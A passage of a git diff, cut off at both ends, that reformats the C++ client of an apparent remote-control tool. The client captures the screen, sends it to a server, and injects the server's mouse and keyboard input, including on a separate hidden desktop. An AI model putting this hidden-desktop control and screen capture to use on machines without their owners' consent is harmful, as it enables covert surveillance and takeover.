m_ScreenSpyObject->GetNextScreenData(&ulNextSendLength); + LPVOID NextScreenData = m_ScreenSpyObject->GetNextScreenData(&ulNextSendLength); - if (ulNextSendLength == 0 || NextScreenData == NULL) - { - return NULL; - } + if (ulNextSendLength == 0 || NextScreenData == NULL) { + return NULL; + } - return (char*)NextScreenData; + return (char*)NextScreenData; } VOID CScreenManager::SendNextScreen(const char* szBuffer, ULONG ulNextSendLength) { - m_ClientObject->Send2Server(szBuffer, ulNextSendLength); + m_ClientObject->Send2Server(szBuffer, ulNextSendLength); } -std::string GetTitle(HWND hWnd) { - char title[256]; // Ԥ - GetWindowTextA(hWnd, title, sizeof(title)); - return title; +std::string GetTitle(HWND hWnd) +{ + char title[256]; // Ԥ + GetWindowTextA(hWnd, title, sizeof(title)); + return title; } VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength) { - int msgSize = sizeof(MSG64); - if (ulLength % 28 == 0) // 32λƶ˷Ϣ - msgSize = 28; - else if (ulLength % 48 == 0) // 64λƶ˷Ϣ - msgSize = 48; - else return; // ݰϷ + int msgSize = sizeof(MSG64); + if (ulLength % 28 == 0) // 32λƶ˷Ϣ + msgSize = 28; + else if (ulLength % 48 == 0) // 64λƶ˷Ϣ + msgSize = 48; + else return; // ݰϷ - // - ULONG ulMsgCount = ulLength / msgSize; + // + ULONG ulMsgCount = ulLength / msgSize; - // - BYTE* ptr = szBuffer; - MSG32 msg32; - MSG64 msg64; - if (g_hDesk) { - HWND hWnd = NULL; - BOOL mouseMsg = FALSE; - POINT lastPointCopy = {}; - SetThreadDesktop(g_hDesk); - for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) { - MYMSG* msg = msgSize == 48 ? (MYMSG*)ptr : - (MYMSG*)msg64.Create(msg32.Create(ptr, msgSize)); - switch (msg->message) { - case WM_KEYUP: - return; - case WM_CHAR: - case WM_KEYDOWN: { - m_point = m_lastPoint; - hWnd = WindowFromPoint(m_point); - break; - } - default: - { - msg->pt = { LOWORD(msg->lParam), HIWORD(msg->lParam) }; - m_ScreenSpyObject->PointConversion(msg->pt); - msg->lParam = MAKELPARAM(msg->pt.x, msg->pt.y); + // + BYTE* ptr = szBuffer; + MSG32 msg32; + MSG64 msg64; + if (g_hDesk) { + HWND hWnd = NULL; + BOOL mouseMsg = FALSE; + POINT lastPointCopy = {}; + SetThreadDesktop(g_hDesk); + for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) { + MYMSG* msg = msgSize == 48 ? (MYMSG*)ptr : + (MYMSG*)msg64.Create(msg32.Create(ptr, msgSize)); + switch (msg->message) { + case WM_KEYUP: + return; + case WM_CHAR: + case WM_KEYDOWN: { + m_point = m_lastPoint; + hWnd = WindowFromPoint(m_point); + break; + } + default: { + msg->pt = { LOWORD(msg->lParam), HIWORD(msg->lParam) }; + m_ScreenSpyObject->PointConversion(msg->pt); + msg->lParam = MAKELPARAM(msg->pt.x, msg->pt.y); - mouseMsg = TRUE; - m_point = msg->pt; - hWnd = WindowFromPoint(m_point); - lastPointCopy = m_lastPoint; - m_lastPoint = m_point; - if (msg->message == WM_RBUTTONDOWN) { - // ¼Ҽʱ - m_rmouseDown = TRUE; - m_rclickPoint = msg->pt; - } - else if (msg->message == WM_RBUTTONUP) { - m_rmouseDown = FALSE; - m_rclickWnd = WindowFromPoint(m_rclickPoint); - // ǷΪϵͳ˵ - char szClass[256] = {}; - GetClassNameA(m_rclickWnd, szClass, sizeof(szClass)); - Mprintf("Right click on '%s' %s[%p]\n", szClass, GetTitle(hWnd).c_str(), hWnd); - if (strcmp(szClass, "Shell_TrayWnd") == 0) { - // ϵͳҼ˵ - PostMessage(m_rclickWnd, WM_CONTEXTMENU, (WPARAM)m_rclickWnd, - MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y)); - } - else { - // ͨڵҼ˵ - if (!PostMessage(m_rclickWnd, WM_RBUTTONUP, msg->wParam, - MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y))) { - // ӣģ̰Shift+F10ò˵ʽ - keybd_event(VK_SHIFT, 0, 0, 0); - keybd_event(VK_F10, 0, 0, 0); - keybd_event(VK_F10, 0, KEYEVENTF_KEYUP, 0); - keybd_event(VK_SHIFT, 0, KEYEVENTF_KEYUP, 0); - } - } - } - else if (msg->message == WM_LBUTTONUP) { - if (m_rclickWnd && hWnd != m_rclickWnd) - { - PostMessageA(m_rclickWnd, WM_LBUTTONDOWN, MK_LBUTTON, 0); - PostMessageA(m_rclickWnd, WM_LBUTTONUP, MK_LBUTTON, 0); - m_rclickWnd = nullptr; - } - m_lmouseDown = FALSE; - LRESULT lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam); - switch (lResult) { - case HTTRANSPARENT: { - SetWindowLongA(hWnd, GWL_STYLE, GetWindowLongA(hWnd, GWL_STYLE) | WS_DISABLED); - lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam); - break; - } - case HTCLOSE: {// رմ - PostMessageA(hWnd, WM_CLOSE, 0, 0); - Mprintf("Close window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd); - break; - } - case HTMINBUTTON: {// С - PostMessageA(hWnd, WM_SYSCOMMAND, SC_MINIMIZE, 0); - Mprintf("Minsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd); - break; - } - case HTMAXBUTTON: {// - WINDOWPLACEMENT windowPlacement; - windowPlacement.length = sizeof(windowPlacement); - GetWindowPlacement(hWnd, &windowPlacement); - if (windowPlacement.flags & SW_SHOWMAXIMIZED) - PostMessageA(hWnd, WM_SYSCOMMAND, SC_RESTORE, 0); - else - PostMessageA(hWnd, WM_SYSCOMMAND, SC_MAXIMIZE, 0); - Mprintf("Maxsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd); - break; - } - } - } - else if (msg->message == WM_LBUTTONDOWN) { - m_lmouseDown = TRUE; - m_hResMoveWindow = NULL; - RECT startButtonRect; - HWND hStartButton = FindWindowA((PCHAR)"Button", NULL); - GetWindowRect(hStartButton, &startButtonRect); - if (PtInRect(&startButtonRect, m_point)) { - PostMessageA(hStartButton, BM_CLICK, 0, 0); // ģ⿪ʼť - continue; - } - else { - char windowClass[MAX_PATH] = { 0 }; - RealGetWindowClassA(hWnd, windowClass, MAX_PATH); - if (!lstrcmpA(windowClass, "#32768")) { - HMENU hMenu = (HMENU)SendMessageA(hWnd, MN_GETHMENU, 0, 0); - int itemPos = MenuItemFromPoint(NULL, hMenu, m_point); - int itemId = GetMenuItemID(hMenu, itemPos); - PostMessageA(hWnd, 0x1e5, itemPos, 0); - PostMessageA(hWnd, WM_KEYDOWN, VK_RETURN, 0); - continue; - } - } - } - else if (msg->message == WM_MOUSEMOVE) { - if (!m_lmouseDown) - continue; - if (!m_hResMoveWindow) - m_resMoveType = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam); - else - hWnd = m_hResMoveWindow; - int moveX = lastPointCopy.x - m_point.x; - int moveY = lastPointCopy.y - m_point.y; + mouseMsg = TRUE; + m_point = msg->pt; + hWnd = WindowFromPoint(m_point); + lastPointCopy = m_lastPoint; + m_lastPoint = m_point; + if (msg->message == WM_RBUTTONDOWN) { + // ¼Ҽʱ + m_rmouseDown = TRUE; + m_rclickPoint = msg->pt; + } else if (msg->message == WM_RBUTTONUP) { + m_rmouseDown = FALSE; + m_rclickWnd = WindowFromPoint(m_rclickPoint); + // ǷΪϵͳ˵ + char szClass[256] = {}; + GetClassNameA(m_rclickWnd, szClass, sizeof(szClass)); + Mprintf("Right click on '%s' %s[%p]\n", szClass, GetTitle(hWnd).c_str(), hWnd); + if (strcmp(szClass, "Shell_TrayWnd") == 0) { + // ϵͳҼ˵ + PostMessage(m_rclickWnd, WM_CONTEXTMENU, (WPARAM)m_rclickWnd, + MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y)); + } else { + // ͨڵҼ˵ + if (!PostMessage(m_rclickWnd, WM_RBUTTONUP, msg->wParam, + MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y))) { + // ӣģ̰Shift+F10ò˵ʽ + keybd_event(VK_SHIFT, 0, 0, 0); + keybd_event(VK_F10, 0, 0, 0); + keybd_event(VK_F10, 0, KEYEVENTF_KEYUP, 0); + keybd_event(VK_SHIFT, 0, KEYEVENTF_KEYUP, 0); + } + } + } else if (msg->message == WM_LBUTTONUP) { + if (m_rclickWnd && hWnd != m_rclickWnd) { + PostMessageA(m_rclickWnd, WM_LBUTTONDOWN, MK_LBUTTON, 0); + PostMessageA(m_rclickWnd, WM_LBUTTONUP, MK_LBUTTON, 0); + m_rclickWnd = nullptr; + } + m_lmouseDown = FALSE; + LRESULT lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam); + switch (lResult) { + case HTTRANSPARENT: { + SetWindowLongA(hWnd, GWL_STYLE, GetWindowLongA(hWnd, GWL_STYLE) | WS_DISABLED); + lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam); + break; + } + case HTCLOSE: {// رմ + PostMessageA(hWnd, WM_CLOSE, 0, 0); + Mprintf("Close window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd); + break; + } + case HTMINBUTTON: {// С + PostMessageA(hWnd, WM_SYSCOMMAND, SC_MINIMIZE, 0); + Mprintf("Minsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd); + break; + } + case HTMAXBUTTON: {// + WINDOWPLACEMENT windowPlacement; + windowPlacement.length = sizeof(windowPlacement); + GetWindowPlacement(hWnd, &windowPlacement); + if (windowPlacement.flags & SW_SHOWMAXIMIZED) + PostMessageA(hWnd, WM_SYSCOMMAND, SC_RESTORE, 0); + else + PostMessageA(hWnd, WM_SYSCOMMAND, SC_MAXIMIZE, 0); + Mprintf("Maxsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd); + break; + } + } + } else if (msg->message == WM_LBUTTONDOWN) { + m_lmouseDown = TRUE; + m_hResMoveWindow = NULL; + RECT startButtonRect; + HWND hStartButton = FindWindowA((PCHAR)"Button", NULL); + GetWindowRect(hStartButton, &startButtonRect); + if (PtInRect(&startButtonRect, m_point)) { + PostMessageA(hStartButton, BM_CLICK, 0, 0); // ģ⿪ʼť + continue; + } else { + char windowClass[MAX_PATH] = { 0 }; + RealGetWindowClassA(hWnd, windowClass, MAX_PATH); + if (!lstrcmpA(windowClass, "#32768")) { + HMENU hMenu = (HMENU)SendMessageA(hWnd, MN_GETHMENU, 0, 0); + int itemPos = MenuItemFromPoint(NULL, hMenu, m_point); + int itemId = GetMenuItemID(hMenu, itemPos); + PostMessageA(hWnd, 0x1e5, itemPos, 0); + PostMessageA(hWnd, WM_KEYDOWN, VK_RETURN, 0); + continue; + } + } + } else if (msg->message == WM_MOUSEMOVE) { + if (!m_lmouseDown) + continue; + if (!m_hResMoveWindow) + m_resMoveType = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam); + else + hWnd = m_hResMoveWindow; + int moveX = lastPointCopy.x - m_point.x; + int moveY = lastPointCopy.y - m_point.y; - RECT rect; - GetWindowRect(hWnd, &rect); - int x = rect.left; - int y = rect.top; - int width = rect.right - rect.left; - int height = rect.bottom - rect.top; - switch (m_resMoveType) { - case HTCAPTION: { - x -= moveX; - y -= moveY; - break; - } - case HTTOP: { - y -= moveY; - height += moveY; - break; - } - case HTBOTTOM: { - height -= moveY; - break; - } - case HTLEFT: { - x -= moveX; - width += moveX; - break; - } - case HTRIGHT: { - width -= moveX; - break; - } - case HTTOPLEFT: { - y -= moveY; - height += moveY; - x -= moveX; - width += moveX; - break; - } - case HTTOPRIGHT: { - y -= moveY; - height += moveY; - width -= moveX; - break; - } - case HTBOTTOMLEFT: { - height -= moveY; - x -= moveX; - width += moveX; - break; - } - case HTBOTTOMRIGHT: { - height -= moveY; - width -= moveX; - break; - } - default: - continue; - } - MoveWindow(hWnd, x, y, width, height, FALSE); - m_hResMoveWindow = hWnd; - continue; - } - break; - } - } - for (HWND currHwnd = hWnd;;) { - hWnd = currHwnd; - ScreenToClient(currHwnd, &m_point); - currHwnd = ChildWindowFromPoint(currHwnd, m_point); - if (!currHwnd || currHwnd == hWnd) - break; - } - if (mouseMsg) - msg->lParam = MAKELPARAM(m_point.x, m_point.y); - PostMessage(hWnd, msg->message, (WPARAM)msg->wParam, msg->lParam); - } - return; - } - for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) - { - MSG64* Msg = msgSize == 48 ? (MSG64*)ptr : - (MSG64*)msg64.Create(msg32.Create(ptr, msgSize)); - switch (Msg->message) - { - case WM_LBUTTONDOWN: case WM_LBUTTONUP: case WM_RBUTTONDOWN: case WM_RBUTTONUP: - case WM_LBUTTONDBLCLK: case WM_RBUTTONDBLCLK: case WM_MBUTTONDOWN: case WM_MBUTTONUP: - case WM_MOUSEMOVE: - { - POINT Point; - Point.x = LOWORD(Msg->lParam); - Point.y = HIWORD(Msg->lParam); - m_ScreenSpyObject->PointConversion(Point); - BOOL b = SetCursorPos(Point.x, Point.y); - if (!b) { - SetForegroundWindow(GetDesktopWindow()); - ReleaseCapture(); - return; - } - } - break; - default: - break; - } + RECT rect; + GetWindowRect(hWnd, &rect); + int x = rect.left; + int y = rect.top; + int width = rect.right - rect.left; + int height = rect.bottom - rect.top; + switch (m_resMoveType) { + case HTCAPTION: { + x -= moveX; + y -= moveY; + break; + } + case HTTOP: { + y -= moveY; + height += moveY; + break; + } + case HTBOTTOM: { + height -= moveY; + break; + } + case HTLEFT: { + x -= moveX; + width += moveX; + break; + } + case HTRIGHT: { + width -= moveX; + break; + } + case HTTOPLEFT: { + y -= moveY; + height += moveY; + x -= moveX; + width += moveX; + break; + } + case HTTOPRIGHT: { + y -= moveY; + height += moveY; + width -= moveX; + break; + } + case HTBOTTOMLEFT: { + height -= moveY; + x -= moveX; + width += moveX; + break; + } + case HTBOTTOMRIGHT: { + height -= moveY; + width -= moveX; + break; + } + default: + continue; + } + MoveWindow(hWnd, x, y, width, height, FALSE); + m_hResMoveWindow = hWnd; + continue; + } + break; + } + } + for (HWND currHwnd = hWnd;;) { + hWnd = currHwnd; + ScreenToClient(currHwnd, &m_point); + currHwnd = ChildWindowFromPoint(currHwnd, m_point); + if (!currHwnd || currHwnd == hWnd) + break; + } + if (mouseMsg) + msg->lParam = MAKELPARAM(m_point.x, m_point.y); + PostMessage(hWnd, msg->message, (WPARAM)msg->wParam, msg->lParam); + } + return; + } + for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) { + MSG64* Msg = msgSize == 48 ? (MSG64*)ptr : + (MSG64*)msg64.Create(msg32.Create(ptr, msgSize)); + switch (Msg->message) { + case WM_LBUTTONDOWN: + case WM_LBUTTONUP: + case WM_RBUTTONDOWN: + case WM_RBUTTONUP: + case WM_LBUTTONDBLCLK: + case WM_RBUTTONDBLCLK: + case WM_MBUTTONDOWN: + case WM_MBUTTONUP: + case WM_MOUSEMOVE: { + POINT Point; + Point.x = LOWORD(Msg->lParam); + Point.y = HIWORD(Msg->lParam); + m_ScreenSpyObject->PointConversion(Point); + BOOL b = SetCursorPos(Point.x, Point.y); + if (!b) { + SetForegroundWindow(GetDesktopWindow()); + ReleaseCapture(); + return; + } + } + break; + default: + break; + } - switch(Msg->message) //˿ڷӿݷ - { - case WM_LBUTTONDOWN: - mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0); - break; - case WM_LBUTTONUP: - mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0); - break; - case WM_RBUTTONDOWN: - mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0); - break; - case WM_RBUTTONUP: - mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0); - break; - case WM_LBUTTONDBLCLK: - mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0); - mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0); - break; - case WM_RBUTTONDBLCLK: - mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0); - mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0); - break; - case WM_MBUTTONDOWN: - mouse_event(MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, 0); - break; - case WM_MBUTTONUP: - mouse_event(MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0); - break; - case WM_MOUSEWHEEL: - mouse_event(MOUSEEVENTF_WHEEL, 0, 0, - GET_WHEEL_DELTA_WPARAM(Msg->wParam), 0); - break; - case WM_KEYDOWN: - case WM_SYSKEYDOWN: - keybd_event(Msg->wParam, MapVirtualKey(Msg->wParam, 0), 0, 0); - break; - case WM_KEYUP: - case WM_SYSKEYUP: - keybd_event(Msg->wParam, MapVirtualKey(Msg->wParam, 0), KEYEVENTF_KEYUP, 0); - break; - default: - break; - } - } + switch(Msg->message) { //˿ڷӿݷ + case WM_LBUTTONDOWN: + mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0); + break; + case WM_LBUTTONUP: + mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0); + break; + case WM_RBUTTONDOWN: + mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0); + break; + case WM_RBUTTONUP: + mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0); + break; + case WM_LBUTTONDBLCLK: + mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0); + mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0); + break; + case WM_RBUTTONDBLCLK: + mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0); + mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0); + break; + case WM_MBUTTONDOWN: + mouse_event(MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, 0); + break; + case WM_MBUTTONUP: + mouse_event(MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0); + break; + case WM_MOUSEWHEEL: + mouse_event(MOUSEEVENTF_WHEEL, 0, 0, + GET_WHEEL_DELTA_WPARAM(Msg->wParam), 0); + break; + case WM_KEYDOWN: + case WM_SYSKEYDOWN: + keybd_event(Msg->wParam, MapVirtualKey(Msg->wParam, 0), 0, 0); + break; + case WM_KEYUP: + case WM_SYSKEYUP: + keybd_event(Msg->wParam, MapVirtualKey(Msg->wParam, 0), KEYEVENTF_KEYUP, 0); + break; + default: + break; + } + } } diff --git a/client/ScreenManager.h b/client/ScreenManager.h index 4330c6b..eaeb834 100644 --- a/client/ScreenManager.h +++ b/client/ScreenManager.h @@ -19,41 +19,41 @@ bool IsWindows8orHigher(); class IOCPClient; -class CScreenManager : public CManager +class CScreenManager : public CManager { public: - CScreenManager(IOCPClient* ClientObject, int n, void* user = nullptr); - virtual ~CScreenManager(); - HANDLE m_hWorkThread; + CScreenManager(IOCPClient* ClientObject, int n, void* user = nullptr); + virtual ~CScreenManager(); + HANDLE m_hWorkThread; - void InitScreenSpy(); - static DWORD WINAPI WorkThreadProc(LPVOID lParam); - VOID SendBitMapInfo(); - VOID OnReceive(PBYTE szBuffer, ULONG ulLength); + void InitScreenSpy(); + static DWORD WINAPI WorkThreadProc(LPVOID lParam); + VOID SendBitMapInfo(); + VOID OnReceive(PBYTE szBuffer, ULONG ulLength); - ScreenCapture* m_ScreenSpyObject; - VOID SendFirstScreen(); - const char* GetNextScreen(ULONG &ulNextSendLength); - VOID SendNextScreen(const char* szBuffer, ULONG ulNextSendLength); + ScreenCapture* m_ScreenSpyObject; + VOID SendFirstScreen(); + const char* GetNextScreen(ULONG &ulNextSendLength); + VOID SendNextScreen(const char* szBuffer, ULONG ulNextSendLength); - VOID ProcessCommand(LPBYTE szBuffer, ULONG ulLength); - INT_PTR m_ptrUser; - HDESK g_hDesk; - std::string m_DesktopID; - BOOL m_bIsWorking; - BOOL m_bIsBlockInput; - VOID SendClientClipboard(); - VOID UpdateClientClipboard(char *szBuffer, ULONG ulLength); + VOID ProcessCommand(LPBYTE szBuffer, ULONG ulLength); + INT_PTR m_ptrUser; + HDESK g_hDesk; + std::string m_DesktopID; + BOOL m_bIsWorking; + BOOL m_bIsBlockInput; + VOID SendClientClipboard(); + VOID UpdateClientClipboard(char *szBuffer, ULONG ulLength); - // - POINT m_point; - POINT m_lastPoint; - BOOL m_lmouseDown; - HWND m_hResMoveWindow; - LRESULT m_resMoveType; - BOOL m_rmouseDown; // ҼǷ - POINT m_rclickPoint; // Ҽ - HWND m_rclickWnd; // Ҽ + // + POINT m_point; + POINT m_lastPoint; + BOOL m_lmouseDown; + HWND m_hResMoveWindow; + LRESULT m_resMoveType; + BOOL m_rmouseDown; // ҼǷ + POINT m_rclickPoint; // Ҽ + HWND m_rclickWnd; // Ҽ }; #endif // !defined(AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_) diff --git a/client/ScreenSpy.cpp b/client/ScreenSpy.cpp index 45dcc68..a9a8b93 100644 --- a/client/ScreenSpy.cpp +++ b/client/ScreenSpy.cpp @@ -11,124 +11,117 @@ // Construction/Destruction ////////////////////////////////////////////////////////////////////// -CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk, int gop, BOOL all) : - ScreenCapture(ulbiBitCount, algo, all) +CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk, int gop, BOOL all) : + ScreenCapture(ulbiBitCount, algo, all) { - m_GOP = gop; + m_GOP = gop; - m_BitmapInfor_Full = new BITMAPINFO(); - memset(m_BitmapInfor_Full, 0, sizeof(BITMAPINFO)); - BITMAPINFOHEADER* BitmapInforHeader = &(m_BitmapInfor_Full->bmiHeader); - BitmapInforHeader->biSize = sizeof(BITMAPINFOHEADER); - BitmapInforHeader->biWidth = m_ulFullWidth; //1080 - BitmapInforHeader->biHeight = m_ulFullHeight; //1920 - BitmapInforHeader->biPlanes = 1; - BitmapInforHeader->biBitCount = ulbiBitCount; //ͨΪ32 - BitmapInforHeader->biCompression = BI_RGB; - BitmapInforHeader->biSizeImage = - ((BitmapInforHeader->biWidth * BitmapInforHeader->biBitCount + 31) / 32) * 4 * BitmapInforHeader->biHeight; + m_BitmapInfor_Full = new BITMAPINFO(); + memset(m_BitmapInfor_Full, 0, sizeof(BITMAPINFO)); + BITMAPINFOHEADER* BitmapInforHeader = &(m_BitmapInfor_Full->bmiHeader); + BitmapInforHeader->biSize = sizeof(BITMAPINFOHEADER); + BitmapInforHeader->biWidth = m_ulFullWidth; //1080 + BitmapInforHeader->biHeight = m_ulFullHeight; //1920 + BitmapInforHeader->biPlanes = 1; + BitmapInforHeader->biBitCount = ulbiBitCount; //ͨΪ32 + BitmapInforHeader->biCompression = BI_RGB; + BitmapInforHeader->biSizeImage = + ((BitmapInforHeader->biWidth * BitmapInforHeader->biBitCount + 31) / 32) * 4 * BitmapInforHeader->biHeight; - m_hDeskTopDC = GetDC(NULL); + m_hDeskTopDC = GetDC(NULL); - m_BitmapData_Full = NULL; - m_hFullMemDC = CreateCompatibleDC(m_hDeskTopDC); - m_BitmapHandle = ::CreateDIBSection(m_hDeskTopDC, m_BitmapInfor_Full, DIB_RGB_COLORS, &m_BitmapData_Full, NULL, NULL); - ::SelectObject(m_hFullMemDC, m_BitmapHandle); - m_FirstBuffer = (LPBYTE)m_BitmapData_Full; + m_BitmapData_Full = NULL; + m_hFullMemDC = CreateCompatibleDC(m_hDeskTopDC); + m_BitmapHandle = ::CreateDIBSection(m_hDeskTopDC, m_BitmapInfor_Full, DIB_RGB_COLORS, &m_BitmapData_Full, NULL, NULL); + ::SelectObject(m_hFullMemDC, m_BitmapHandle); + m_FirstBuffer = (LPBYTE)m_BitmapData_Full; - m_DiffBitmapData_Full = NULL; - m_hDiffMemDC = CreateCompatibleDC(m_hDeskTopDC); - m_DiffBitmapHandle = ::CreateDIBSection(m_hDeskTopDC, m_BitmapInfor_Full, DIB_RGB_COLORS, &m_DiffBitmapData_Full, NULL, NULL); - ::SelectObject(m_hDiffMemDC, m_DiffBitmapHandle); + m_DiffBitmapData_Full = NULL; + m_hDiffMemDC = CreateCompatibleDC(m_hDeskTopDC); + m_DiffBitmapHandle = ::CreateDIBSection(m_hDeskTopDC, m_BitmapInfor_Full, DIB_RGB_COLORS, &m_DiffBitmapData_Full, NULL, NULL); + ::SelectObject(m_hDiffMemDC, m_DiffBitmapHandle); - m_RectBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage * 2 + 12]; + m_RectBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage * 2 + 12]; - m_bVirtualPaint = vDesk; - m_data.Create(m_hDeskTopDC, m_iScreenX, m_iScreenY, m_ulFullWidth, m_ulFullHeight); + m_bVirtualPaint = vDesk; + m_data.Create(m_hDeskTopDC, m_iScreenX, m_iScreenY, m_ulFullWidth, m_ulFullHeight); } CScreenSpy::~CScreenSpy() { - if (m_BitmapInfor_Full != NULL) - { - delete m_BitmapInfor_Full; - m_BitmapInfor_Full = NULL; - } + if (m_BitmapInfor_Full != NULL) { + delete m_BitmapInfor_Full; + m_BitmapInfor_Full = NULL; + } - ReleaseDC(NULL, m_hDeskTopDC); + ReleaseDC(NULL, m_hDeskTopDC); - if (m_hFullMemDC!=NULL) - { - DeleteDC(m_hFullMemDC); + if (m_hFullMemDC!=NULL) { + DeleteDC(m_hFullMemDC); - ::DeleteObject(m_BitmapHandle); - if (m_BitmapData_Full!=NULL) - { - m_BitmapData_Full = NULL; - } + ::DeleteObject(m_BitmapHandle); + if (m_BitmapData_Full!=NULL) { + m_BitmapData_Full = NULL; + } - m_hFullMemDC = NULL; - } + m_hFullMemDC = NULL; + } - if (m_hDiffMemDC!=NULL) - { - DeleteDC(m_hDiffMemDC); + if (m_hDiffMemDC!=NULL) { + DeleteDC(m_hDiffMemDC); - ::DeleteObject(m_DiffBitmapHandle); - if (m_DiffBitmapData_Full!=NULL) - { - m_DiffBitmapData_Full = NULL; - } - } + ::DeleteObject(m_DiffBitmapHandle); + if (m_DiffBitmapData_Full!=NULL) { + m_DiffBitmapData_Full = NULL; + } + } - if (m_RectBuffer) - { - delete[] m_RectBuffer; - m_RectBuffer = NULL; - } + if (m_RectBuffer) { + delete[] m_RectBuffer; + m_RectBuffer = NULL; + } } LPBYTE CScreenSpy::GetFirstScreenData(ULONG* ulFirstScreenLength) { - ScanScreen(m_hFullMemDC, m_hDeskTopDC, m_ulFullWidth, m_ulFullHeight); - m_RectBuffer[0] = TOKEN_FIRSTSCREEN; - memcpy(1 + m_RectBuffer, m_BitmapData_Full, m_BitmapInfor_Full->bmiHeader.biSizeImage); - if (m_bAlgorithm == ALGORITHM_GRAY) { - ToGray(1 + m_RectBuffer, 1 + m_RectBuffer, m_BitmapInfor_Full->bmiHeader.biSizeImage); - } - *ulFirstScreenLength = m_BitmapInfor_Full->bmiHeader.biSizeImage; + ScanScreen(m_hFullMemDC, m_hDeskTopDC, m_ulFullWidth, m_ulFullHeight); + m_RectBuffer[0] = TOKEN_FIRSTSCREEN; + memcpy(1 + m_RectBuffer, m_BitmapData_Full, m_BitmapInfor_Full->bmiHeader.biSizeImage); + if (m_bAlgorithm == ALGORITHM_GRAY) { + ToGray(1 + m_RectBuffer, 1 + m_RectBuffer, m_BitmapInfor_Full->bmiHeader.biSizeImage); + } + *ulFirstScreenLength = m_BitmapInfor_Full->bmiHeader.biSizeImage; - return m_RectBuffer; //ڴ + return m_RectBuffer; //ڴ } VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight) { - if (m_bVirtualPaint){ - int n = 0; - if (n = EnumWindowsTopToDown(NULL, EnumHwndsPrint, (LPARAM)&m_data.SetScreenDC(hdcDest))) { - Mprintf("EnumWindowsTopToDown failed: %d!!!\n", n); - } - return; - } - AUTO_TICK(70); + if (m_bVirtualPaint) { + int n = 0; + if (n = EnumWindowsTopToDown(NULL, EnumHwndsPrint, (LPARAM)&m_data.SetScreenDC(hdcDest))) { + Mprintf("EnumWindowsTopToDown failed: %d!!!\n", n); + } + return; + } + AUTO_TICK(70); #if COPY_ALL - BitBlt(hdcDest, 0, 0, ulWidth, ulHeight, hdcSour, m_iScreenX, m_iScreenY, SRCCOPY); + BitBlt(hdcDest, 0, 0, ulWidth, ulHeight, hdcSour, m_iScreenX, m_iScreenY, SRCCOPY); #else - const ULONG ulJumpLine = 50; - const ULONG ulJumpSleep = ulJumpLine / 10; + const ULONG ulJumpLine = 50; + const ULONG ulJumpSleep = ulJumpLine / 10; - for (int i = 0, ulToJump = 0; i < ulHeight; i += ulToJump) - { - ULONG ulv1 = ulHeight - i; + for (int i = 0, ulToJump = 0; i < ulHeight; i += ulToJump) { + ULONG ulv1 = ulHeight - i; - if (ulv1 > ulJumpLine) - ulToJump = ulJumpLine; - else - ulToJump = ulv1; - BitBlt(hdcDest, 0, i, ulWidth, ulToJump, hdcSour,0, i, SRCCOPY); - Sleep(ulJumpSleep); - } + if (ulv1 > ulJumpLine) + ulToJump = ulJumpLine; + else + ulToJump = ulv1; + BitBlt(hdcDest, 0, i, ulWidth, ulToJump, hdcSour,0, i, SRCCOPY); + Sleep(ulJumpSleep); + } #endif } diff --git a/client/ScreenSpy.h b/client/ScreenSpy.h index af2c91a..c89fc9f 100644 --- a/client/ScreenSpy.h +++ b/client/ScreenSpy.h @@ -14,172 +14,190 @@ #include 